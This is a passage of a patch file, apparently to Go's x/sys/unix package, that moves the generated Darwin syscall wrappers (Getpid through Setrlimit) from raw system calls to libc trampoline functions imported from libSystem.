-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getpid_trampoline), 0, 0, 0)
- pid = int(r0)
- return
- }
-
-+func libc_getpid_trampoline()
-+
-+//go:linkname libc_getpid libc_getpid
-+//go:cgo_import_dynamic libc_getpid getpid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getppid_trampoline), 0, 0, 0)
- ppid = int(r0)
- return
- }
-
-+func libc_getppid_trampoline()
-+
-+//go:linkname libc_getppid libc_getppid
-+//go:cgo_import_dynamic libc_getppid getppid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_getpriority_trampoline), uintptr(which), uintptr(who), 0)
- prio = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -805,30 +1323,45 @@ func Getpriority(which int, who int) (prio int, err error) {
- return
- }
-
-+func libc_getpriority_trampoline()
-+
-+//go:linkname libc_getpriority libc_getpriority
-+//go:cgo_import_dynamic libc_getpriority getpriority "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getrlimit_trampoline), uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getrlimit_trampoline()
-+
-+//go:linkname libc_getrlimit libc_getrlimit
-+//go:cgo_import_dynamic libc_getrlimit getrlimit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getrusage_trampoline), uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getrusage_trampoline()
-+
-+//go:linkname libc_getrusage libc_getrusage
-+//go:cgo_import_dynamic libc_getrusage getrusage "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getsid_trampoline), uintptr(pid), 0, 0)
- sid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -836,26 +1369,41 @@ func Getsid(pid int) (sid int, err error) {
- return
- }
-
-+func libc_getsid_trampoline()
-+
-+//go:linkname libc_getsid libc_getsid
-+//go:cgo_import_dynamic libc_getsid getsid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getuid_trampoline), 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+func libc_getuid_trampoline()
-+
-+//go:linkname libc_getuid libc_getuid
-+//go:cgo_import_dynamic libc_getuid getuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Issetugid() (tainted bool) {
-- r0, _, _ := RawSyscall(SYS_ISSETUGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_issetugid_trampoline), 0, 0, 0)
- tainted = bool(r0 != 0)
- return
- }
-
-+func libc_issetugid_trampoline()
-+
-+//go:linkname libc_issetugid libc_issetugid
-+//go:cgo_import_dynamic libc_issetugid issetugid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Kqueue() (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_kqueue_trampoline), 0, 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -863,6 +1411,11 @@ func Kqueue() (fd int, err error) {
- return
- }
-
-+func libc_kqueue_trampoline()
-+
-+//go:linkname libc_kqueue libc_kqueue
-+//go:cgo_import_dynamic libc_kqueue kqueue "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Lchown(path string, uid int, gid int) (err error) {
-@@ -871,13 +1424,18 @@ func Lchown(path string, uid int, gid int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_lchown_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_lchown_trampoline()
-+
-+//go:linkname libc_lchown libc_lchown
-+//go:cgo_import_dynamic libc_lchown lchown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Link(path string, link string) (err error) {
-@@ -891,13 +1449,18 @@ func Link(path string, link string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_link_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_link_trampoline()
-+
-+//go:linkname libc_link libc_link
-+//go:cgo_import_dynamic libc_link link "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-@@ -911,37 +1474,32 @@ func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err er
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_linkat_trampoline), uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_linkat_trampoline()
-+
-+//go:linkname libc_linkat libc_linkat
-+//go:cgo_import_dynamic libc_linkat linkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Listen(s int, backlog int) (err error) {
-- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_listen_trampoline), uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_listen_trampoline()
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_listen libc_listen
-+//go:cgo_import_dynamic libc_listen listen "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -951,13 +1509,18 @@ func Mkdir(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKDIR, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkdir_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkdir_trampoline()
-+
-+//go:linkname libc_mkdir libc_mkdir
-+//go:cgo_import_dynamic libc_mkdir mkdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-@@ -966,13 +1529,18 @@ func Mkdirat(dirfd int, path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkdirat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkdirat_trampoline()
-+
-+//go:linkname libc_mkdirat libc_mkdirat
-+//go:cgo_import_dynamic libc_mkdirat mkdirat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mkfifo(path string, mode uint32) (err error) {
-@@ -981,13 +1549,18 @@ func Mkfifo(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKFIFO, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkfifo_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkfifo_trampoline()
-+
-+//go:linkname libc_mkfifo libc_mkfifo
-+//go:cgo_import_dynamic libc_mkfifo mkfifo "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mknod(path string, mode uint32, dev int) (err error) {
-@@ -996,13 +1569,18 @@ func Mknod(path string, mode uint32, dev int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKNOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mknod_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mknod_trampoline()
-+
-+//go:linkname libc_mknod libc_mknod
-+//go:cgo_import_dynamic libc_mknod mknod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Open(path string, mode int, perm uint32) (fd int, err error) {
-@@ -1011,7 +1589,7 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall(SYS_OPEN, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_open_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1019,6 +1597,11 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+func libc_open_trampoline()
-+
-+//go:linkname libc_open libc_open
-+//go:cgo_import_dynamic libc_open open "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-@@ -1027,7 +1610,7 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_openat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1035,6 +1618,11 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+func libc_openat_trampoline()
-+
-+//go:linkname libc_openat libc_openat
-+//go:cgo_import_dynamic libc_openat openat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pathconf(path string, name int) (val int, err error) {
-@@ -1043,7 +1631,7 @@ func Pathconf(path string, name int) (val int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall(SYS_PATHCONF, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_pathconf_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
- val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1051,6 +1639,11 @@ func Pathconf(path string, name int) (val int, err error) {
- return
- }
-
-+func libc_pathconf_trampoline()
-+
-+//go:linkname libc_pathconf libc_pathconf
-+//go:cgo_import_dynamic libc_pathconf pathconf "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pread(fd int, p []byte, offset int64) (n int, err error) {
-@@ -1060,7 +1653,7 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_pread_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1068,6 +1661,11 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+func libc_pread_trampoline()
-+
-+//go:linkname libc_pread libc_pread
-+//go:cgo_import_dynamic libc_pread pread "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-@@ -1077,7 +1675,7 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_pwrite_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1085,6 +1683,11 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+func libc_pwrite_trampoline()
-+
-+//go:linkname libc_pwrite libc_pwrite
-+//go:cgo_import_dynamic libc_pwrite pwrite "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func read(fd int, p []byte) (n int, err error) {
-@@ -1094,7 +1697,7 @@ func read(fd int, p []byte) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_read_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1102,6 +1705,11 @@ func read(fd int, p []byte) (n int, err error) {
- return
- }
-
-+func libc_read_trampoline()
-+
-+//go:linkname libc_read libc_read
-+//go:cgo_import_dynamic libc_read read "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Readlink(path string, buf []byte) (n int, err error) {
-@@ -1116,7 +1724,7 @@ func Readlink(path string, buf []byte) (n int, err error) {
- } else {
- _p1 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_READLINK, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_readlink_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1124,6 +1732,11 @@ func Readlink(path string, buf []byte) (n int, err error) {
- return
- }
-
-+func libc_readlink_trampoline()
-+
-+//go:linkname libc_readlink libc_readlink
-+//go:cgo_import_dynamic libc_readlink readlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-@@ -1138,7 +1751,7 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
- } else {
- _p1 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_readlinkat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1146,6 +1759,11 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
- return
- }
-
-+func libc_readlinkat_trampoline()
-+
-+//go:linkname libc_readlinkat libc_readlinkat
-+//go:cgo_import_dynamic libc_readlinkat readlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Rename(from string, to string) (err error) {
-@@ -1159,13 +1777,18 @@ func Rename(from string, to string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RENAME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_rename_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_rename_trampoline()
-+
-+//go:linkname libc_rename libc_rename
-+//go:cgo_import_dynamic libc_rename rename "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-@@ -1179,13 +1802,18 @@ func Renameat(fromfd int, from string, tofd int, to string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_renameat_trampoline), uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_renameat_trampoline()
-+
-+//go:linkname libc_renameat libc_renameat
-+//go:cgo_import_dynamic libc_renameat renameat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Revoke(path string) (err error) {
-@@ -1194,13 +1822,18 @@ func Revoke(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_REVOKE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_revoke_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_revoke_trampoline()
-+
-+//go:linkname libc_revoke libc_revoke
-+//go:cgo_import_dynamic libc_revoke revoke "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Rmdir(path string) (err error) {
-@@ -1209,17 +1842,22 @@ func Rmdir(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RMDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_rmdir_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_rmdir_trampoline()
-+
-+//go:linkname libc_rmdir libc_rmdir
-+//go:cgo_import_dynamic libc_rmdir rmdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-- r0, r1, e1 := Syscall6(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(offset>>32), uintptr(whence), 0, 0)
-+ r0, r1, e1 := syscall_syscall6(funcPC(libc_lseek_trampoline), uintptr(fd), uintptr(offset), uintptr(offset>>32), uintptr(whence), 0, 0)
- newoffset = int64(int64(r1)<<32 | int64(r0))
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1227,46 +1865,72 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- return
- }
-
-+func libc_lseek_trampoline()
-+
-+//go:linkname libc_lseek libc_lseek
-+//go:cgo_import_dynamic libc_lseek lseek "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_select_trampoline), uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_select_trampoline()
-+
-+//go:linkname libc_select libc_select
-+//go:cgo_import_dynamic libc_select select "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setegid(egid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETEGID, uintptr(egid), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setegid_trampoline), uintptr(egid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setegid_trampoline()
-+
-+//go:linkname libc_setegid libc_setegid
-+//go:cgo_import_dynamic libc_setegid setegid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seteuid(euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETEUID, uintptr(euid), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_seteuid_trampoline), uintptr(euid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_seteuid_trampoline()
-+
-+//go:linkname libc_seteuid libc_seteuid
-+//go:cgo_import_dynamic libc_seteuid seteuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setgid(gid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGID, uintptr(gid), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setgid_trampoline), uintptr(gid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setgid_trampoline()
-+
-+//go:linkname libc_setgid libc_setgid
-+//go:cgo_import_dynamic libc_setgid setgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setlogin(name string) (err error) {
-@@ -1275,77 +1939,112 @@ func Setlogin(name string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SETLOGIN, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setlogin_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setlogin_trampoline()
-+
-+//go:linkname libc_setlogin libc_setlogin
-+//go:cgo_import_dynamic libc_setlogin setlogin "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setpgid_trampoline), uintptr(pid), uintptr(pgid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setpgid_trampoline()
-+
-+//go:linkname libc_setpgid libc_setpgid
-+//go:cgo_import_dynamic libc_setpgid setpgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-+ _, _, e1 := syscall_syscall(funcPC(libc_setpriority_trampoline), uintptr(which), uintptr(who), uintptr(prio))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setpriority_trampoline()
-+
-+//go:linkname libc_setpriority libc_setpriority
-+//go:cgo_import_dynamic libc_setpriority setpriority "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setprivexec(flag int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIVEXEC, uintptr(flag), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setprivexec_trampoline), uintptr(flag), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setprivexec_trampoline()
-+
-+//go:linkname libc_setprivexec libc_setprivexec
-+//go:cgo_import_dynamic libc_setprivexec setprivexec "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setregid(rgid int, egid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setregid_trampoline), uintptr(rgid), uintptr(egid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setregid_trampoline()
-+
-+//go:linkname libc_setregid libc_setregid
-+//go:cgo_import_dynamic libc_setregid setregid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setreuid(ruid int, euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setreuid_trampoline), uintptr(ruid), uintptr(euid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setreuid_trampoline()
-+
-+//go:linkname libc_setreuid libc_setreuid
-+//go:cgo_import_dynamic libc_setreuid setreuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setrlimit_trampoline), uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setrlimit_trampoline()
-+
-+//go:linkname libc_setrlimit libc_setrlimit
